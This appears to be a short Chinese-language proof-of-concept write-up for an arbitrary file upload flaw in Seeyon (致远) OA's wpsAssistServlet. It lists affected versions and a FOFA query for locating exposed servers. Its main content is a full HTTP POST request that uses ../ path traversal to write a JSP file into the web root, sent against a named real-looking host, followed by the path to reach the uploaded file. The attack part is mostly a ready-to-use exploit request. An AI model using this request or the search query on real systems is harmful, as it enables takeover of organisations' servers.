致远OA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限
影响版本致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1)致远OA G6、G6N (V8.1、V8.1SP1)
漏洞复现fofa语法:app="致远互联-OA" && title="V8.0SP2"登录页面如下:C://Seeyon/A6/base/temporary 为默认上传的位置,但 realFileType, fileId 参数可控,可以通过 ../ 遍历上传到任意目录下,验证POC
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/debugg.jsp&fileId=2 HTTP/1.1Host: oa.servechina.com.cn:80Content-Length: 215Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616bAccept-Encoding: gzip--59229605f98b8cf290a7b8908b34616bContent-Disposition: form-data; name="upload"; filename="123.xls"Content-Type: application/vnd.ms-excel--59229605f98b8cf290a7b8908b34616b--访问上传的文件,访问路径http://ip:port/debugg.jsp